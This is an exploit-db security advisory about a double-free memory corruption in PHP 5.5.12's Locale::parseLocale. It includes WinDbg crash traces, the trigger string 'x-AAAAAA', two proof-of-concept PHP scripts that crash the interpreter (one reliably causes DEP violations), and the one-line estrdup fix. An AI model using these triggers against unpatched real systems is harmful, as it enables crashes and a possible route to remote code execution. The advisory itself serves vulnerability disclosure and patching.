PHP 5.5.12 – Locale::parseLocale Memory Corruption

  • 作者: John Leitch
    日期: 2014-11-24
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/35358/
  • Full Package: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/35358.tgz
    
    Description:
    ------------
    PHP 5.5.12 suffers from a memory corruption vulnerability that could potentially be exploited to achieve remote code execution. The vulnerability exists due to inconsistent behavior in the get_icu_value_internal function of ext\intl\locale\locale_methods.c. In most cases, get_icu_value_internal allocates memory that the caller is expected to free. However, if the first argument, loc_name, satisfies the conditions specified by the isIDPrefix macro (figure 1), and fromParseLocal is true, loc_name itself is returned. If a caller abides by contract and frees the return value of such a call, then the pointer passed via loc_name is freed again elsewhere, a double free occurs.
    
    Figure 1. Macros used by get_icu_value_internal.
    #define isIDSeparator(a) (a == '_' || a == '-')
    [...]
    #define isPrefixLetter(a) ((a=='x')||(a=='X')||(a=='i')||(a=='I'))
    [...]
    #define isIDPrefix(s) (isPrefixLetter(s[0])&&isIDSeparator(s[1]))
    
    The zif_locale_parse function, which is exported to PHP as Locale::parseLocale, makes a call to get_icu_value_internal with potentially untrusted data. By passing a specially crafted locale (figure 2), remote code execution may be possible. The exploitability of this vulnerability is dependent on the attack surface of a given application. In instances where the locale string is exposed as a user configuration setting, it may be possible to achieve either pre- or post-authentication remote code execution. In other scenarios this vulnerability may serve as a means to achieve privilege escalation.
    
    Figure 2. A call to Locale::parseLocale that triggers the exploitable condition.
    Locale::parseLocale("x-AAAAAA");
    
    Details for the two frees are shown in figures 3 and 4.
    
    Figure 3. The first free.
    0:000> kP
    ChildEBP RetAddr
    016af25c 7146d7a3 php5ts!_efree(
    void * ptr = 0x030bf1e0)+0x62 [c:\php-sdk\php55\vc11\x86\php-5.5.12-ts\zend\zend_alloc.c @ 2440]
    016af290 7146f6a2 php_intl!add_array_entry(
    char * loc_name = 0x0179028c "", 
    struct _zval_struct * hash_arr = 0x00000018, 
    char * key_name = 0x71489e60 "language", 
    void *** tsrm_ls = 0x7146f6a2)+0x1d3 [c:\php-sdk\php55\vc11\x86\php-5.5.12-ts\ext\intl\locale\locale_methods.c @ 1073]
    016af2b0 0f0c15ab php_intl!zif_locale_parse(
    int ht = 0n1, 
    struct _zval_struct * return_value = 0x030bf4c8, 
    struct _zval_struct ** return_value_ptr = 0x00000000, 
    struct _zval_struct * this_ptr = 0x00000000, 
    int return_value_used = 0n1, 
    void *** tsrm_ls = 0x0178be38)+0xb2 [c:\php-sdk\php55\vc11\x86\php-5.5.12-ts\ext\intl\locale\locale_methods.c @ 1115]
    016af314 0f0c0c07 php5ts!zend_do_fcall_common_helper_SPEC(
    struct _zend_execute_data * execute_data = 0x0179028c, 
    void *** tsrm_ls = 0x00000018)+0x1cb [c:\php-sdk\php55\vc11\x86\php-5.5.12-ts\zend\zend_vm_execute.h @ 551]
    016af358 0f114757 php5ts!execute_ex(
    struct _zend_execute_data * execute_data = 0x030bef20, 
    void *** tsrm_ls = 0x0178be38)+0x397 [c:\php-sdk\php55\vc11\x86\php-5.5.12-ts\zend\zend_vm_execute.h @ 363]
    016af380 0f0e60ea php5ts!zend_execute(
    struct _zend_op_array * op_array = 0x030be5f0, 
    void *** tsrm_ls = 0x00000007)+0x1c7 [c:\php-sdk\php55\vc11\x86\php-5.5.12-ts\zend\zend_vm_execute.h @ 388]
    016af3b4 0f0e4a00 php5ts!zend_execute_scripts(
    int type = 0n8, 
    void *** tsrm_ls = 0x00000001, 
    struct _zval_struct ** retval = 0x00000000, 
    int file_count = 0n3)+0x14a [c:\php-sdk\php55\vc11\x86\php-5.5.12-ts\zend\zend.c @ 1317]
    016af5c0 00cc21fb php5ts!php_execute_script(
    struct _zend_file_handle * primary_file = <Memory access error>, 
    void *** tsrm_ls = <Memory access error>)+0x190 [c:\php-sdk\php55\vc11\x86\php-5.5.12-ts\main\main.c @ 2506]
    016af844 00cc2ed1 php!do_cli(
    int argc = 0n24707724, 
    char ** argv = 0x00000018, 
    void *** tsrm_ls = 0x0178be38)+0x87b [c:\php-sdk\php55\vc11\x86\php-5.5.12-ts\sapi\cli\php_cli.c @ 995]
    016af8e0 00cca05e php!main(
    int argc = 0n2, 
    char ** argv = 0x01791d68)+0x4c1 [c:\php-sdk\php55\vc11\x86\php-5.5.12-ts\sapi\cli\php_cli.c @ 1378]
    016af920 76e1919f php!__tmainCRTStartup(void)+0xfd [f:\dd\vctools\crt_bld\self_x86\crt\src\crtexe.c @ 536]
    016af92c 770ba8cb KERNEL32!BaseThreadInitThunk+0xe
    016af970 770ba8a1 ntdll!__RtlUserThreadStart+0x20
    016af980 00000000 ntdll!_RtlUserThreadStart+0x1b
    0:000> ub eip
    php5ts!_efree+0x49 [c:\php-sdk\php55\vc11\x86\php-5.5.12-ts\zend\zend_alloc.c @ 2440]:
    0f0b1ef9 732ejae php5ts!_efree+0x79 (0f0b1f29)
    0f0b1efb 817e4c00000200cmp dword ptr [esi+4Ch],20000h
    0f0b1f02 7325jae php5ts!_efree+0x79 (0f0b1f29)
    0f0b1f04 8bc2mov eax,edx
    0f0b1f06 c1e803shr eax,3
    0f0b1f09 8d0c86lea ecx,[esi+eax*4]
    0f0b1f0c 8b4148mov eax,dword ptr [ecx+48h]
    0f0b1f0f 894708mov dword ptr [edi+8],eax
    0:000> u eip
    php5ts!_efree+0x62 [c:\php-sdk\php55\vc11\x86\php-5.5.12-ts\zend\zend_alloc.c @ 2440]:
    0f0b1f12 897948mov dword ptr [ecx+48h],edi
    0f0b1f15 01564cadd dword ptr [esi+4Ch],edx
    0f0b1f18 a148456a0fmov eax,dword ptr [php5ts!zend_unblock_interruptions (0f6a4548)]
    0f0b1f1d 85c0testeax,eax
    0f0b1f1f 0f851d040000jne php5ts!_efree+0x492 (0f0b2342)
    0f0b1f25 5fpop edi
    0f0b1f26 5epop esi
    0f0b1f27 59pop ecx
    0:000> ?edi+8
    Evaluate expression: 51114464 = 030bf1e0
    0:000> dc edi+8
    030bf1e000000000 41414141 00000000 00000000....AAAA........
    030bf1f000000011 00000019 61636f6c 0300656c........locale..
    030bf20000000011 00000011 6e697270 00725f74........print_r.
    030bf21000000109 00000011 030bf320 030bf210........ .......
    030bf22001790494 00000000 00000000 00000000..y.............
    030bf23000000000 00000000 00000000 00000000................
    030bf24000000000 00000000 00000000 00000000................
    030bf25000000000 00000000 00000000 00000000................
    
    
    Figure 4. The second free.
    0:000> kP
    ChildEBP RetAddr
    016af2c4 0f0c1813 php5ts!_zval_dtor_func(
    struct _zval_struct * zvalue = 0x030bf3f8)+0x7f [c:\php-sdk\php55\vc11\x86\php-5.5.12-ts\zend\zend_variables.c @ 36]
    016af314 0f0c0c07 php5ts!zend_do_fcall_common_helper_SPEC(
    struct _zend_execute_data * execute_data = 0x0179028c, 
    void *** tsrm_ls = 0x00000018)+0x433 [c:\php-sdk\php55\vc11\x86\php-5.5.12-ts\zend\zend_vm_execute.h @ 642]
    016af358 0f114757 php5ts!execute_ex(
    struct _zend_execute_data * execute_data = 0x030bef20, 
    void *** tsrm_ls = 0x0178be38)+0x397 [c:\php-sdk\php55\vc11\x86\php-5.5.12-ts\zend\zend_vm_execute.h @ 363]
    016af380 0f0e60ea php5ts!zend_execute(
    struct _zend_op_array * op_array = 0x030be5f0, 
    void *** tsrm_ls = 0x00000007)+0x1c7 [c:\php-sdk\php55\vc11\x86\php-5.5.12-ts\zend\zend_vm_execute.h @ 388]
    016af3b4 0f0e4a00 php5ts!zend_execute_scripts(
    int type = 0n8, 
    void *** tsrm_ls = 0x00000001, 
    struct _zval_struct ** retval = 0x00000000, 
    int file_count = 0n3)+0x14a [c:\php-sdk\php55\vc11\x86\php-5.5.12-ts\zend\zend.c @ 1317]
    016af5c0 00cc21fb php5ts!php_execute_script(
    struct _zend_file_handle * primary_file = <Memory access error>, 
    void *** tsrm_ls = <Memory access error>)+0x190 [c:\php-sdk\php55\vc11\x86\php-5.5.12-ts\main\main.c @ 2506]
    016af844 00cc2ed1 php!do_cli(
    int argc = 0n24707724, 
    char ** argv = 0x00000018, 
    void *** tsrm_ls = 0x0178be38)+0x87b [c:\php-sdk\php55\vc11\x86\php-5.5.12-ts\sapi\cli\php_cli.c @ 995]
    016af8e0 00cca05e php!main(
    int argc = 0n2, 
    char ** argv = 0x01791d68)+0x4c1 [c:\php-sdk\php55\vc11\x86\php-5.5.12-ts\sapi\cli\php_cli.c @ 1378]
    016af920 76e1919f php!__tmainCRTStartup(void)+0xfd [f:\dd\vctools\crt_bld\self_x86\crt\src\crtexe.c @ 536]
    016af92c 770ba8cb KERNEL32!BaseThreadInitThunk+0xe
    016af970 770ba8a1 ntdll!__RtlUserThreadStart+0x20
    016af980 00000000 ntdll!_RtlUserThreadStart+0x1b
    0:000> ub eip
    php5ts!_zval_dtor_func+0x5e [c:\php-sdk\php55\vc11\x86\php-5.5.12-ts\zend\zend_variables.c @ 36]:
    0f0b1cae 0f8394000000jae php5ts!_zval_dtor_func+0xf8 (0f0b1d48)
    0f0b1cb4 817f4c00000200cmp dword ptr [edi+4Ch],20000h
    0f0b1cbb 0f8387000000jae php5ts!_zval_dtor_func+0xf8 (0f0b1d48)
    0f0b1cc1 8bc2mov eax,edx
    0f0b1cc3 c1e803shr eax,3
    0f0b1cc6 8d0c87lea ecx,[edi+eax*4]
    0f0b1cc9 8b4148mov eax,dword ptr [ecx+48h]
    0f0b1ccc 894608mov dword ptr [esi+8],eax
    0:000> u eip
    php5ts!_zval_dtor_func+0x7f [c:\php-sdk\php55\vc11\x86\php-5.5.12-ts\zend\zend_variables.c @ 36]:
    0f0b1ccf 897148mov dword ptr [ecx+48h],esi
    0f0b1cd2 01574cadd dword ptr [edi+4Ch],edx
    0f0b1cd5 a148456a0fmov eax,dword ptr [php5ts!zend_unblock_interruptions (0f6a4548)]
    0f0b1cda 85c0testeax,eax
    0f0b1cdc 0f8591010000jne php5ts!_zval_dtor_func+0x223 (0f0b1e73)
    0f0b1ce2 5fpop edi
    0f0b1ce3 5epop esi
    0f0b1ce4 c3ret
    0:000> ?esi+8
    Evaluate expression: 51114464 = 030bf1e0
    0:000> dc esi+8
    030bf1e0030bf1d8 41414141 00000000 00000000....AAAA........
    030bf1f000000011 00000019 61636f6c 0300656c........locale..
    030bf20000000011 00000011 6e697270 00725f74........print_r.
    030bf21000000109 00000011 030bf320 030bf210........ .......
    030bf22001790494 00000000 00000000 00000000..y.............
    030bf23000000000 00000000 00000000 00000000................
    030bf24000000000 00000000 00000000 00000000................
    030bf25000000000 00000000 00000000 00000000................
    
    The outcome of the double free depends on the arrangement of the heap. A simple script that produces a variety of read access violations is shown in figure 5, and another that reliably produces data execution prevention access violations is provided in figure 6.
    
    Figure 5. A script that produces a variety of AVs.
    <?php
    Locale::parseLocale("x-AAAAAA");
    $foo = new SplTempFileObject();
    ?>
    
    Figure 6. A script that reliably produces DEPAVs.
    <?php
    Locale::parseLocale("x-7-644T-42-1Q-7346A896-656s-75nKaOG");
    $pe = new SQLite3($pe, new PDOException(($pe->{new ReflectionParameter(TRUE, new RecursiveTreeIterator((null > ($pe+=new RecursiveCallbackFilterIterator((object)$G16 = new Directory(), DatePeriod::__set_state()))), (array)$h453 = new ReflectionMethod(($pe[TRUE]), $G16->rewind((array)"mymqaodaokubaf")), ($h453->getShortName() === null), ($I68TB = new InvalidArgumentException($H03 = new DOMStringList(), null, (string)MessageFormatter::create($sC = new AppendIterator(), new DOMUserDataHandler())) & null)))}), ($h453[(bool)DateInterval::__set_state()]), new PDOStatement()), TRUE);
    $H03->item((unset)$gn = new SplStack());
    $sC->valid();
    
    ?>
    
    To fix the vulnerability, get_icu_value_internal should be modified to return a copy of loc_name rather than loc_name itself. This can be done easily using the estrdup function. The single line fix is shown in figures 7 and 8.
    
    Figure 7. The original code.
    if( strcmp(tag_name , LOC_LANG_TAG)==0 ){
    if( strlen(loc_name)>1 && (isIDPrefix(loc_name) ==1 ) ){
    return (char *)loc_name;
    }
    }
    
    Figure 8. The fixed code.
    if( strcmp(tag_name , LOC_LANG_TAG)==0 ){
    if( strlen(loc_name)>1 && (isIDPrefix(loc_name) ==1 ) ){
    return estrdup(loc_name);
    }
    }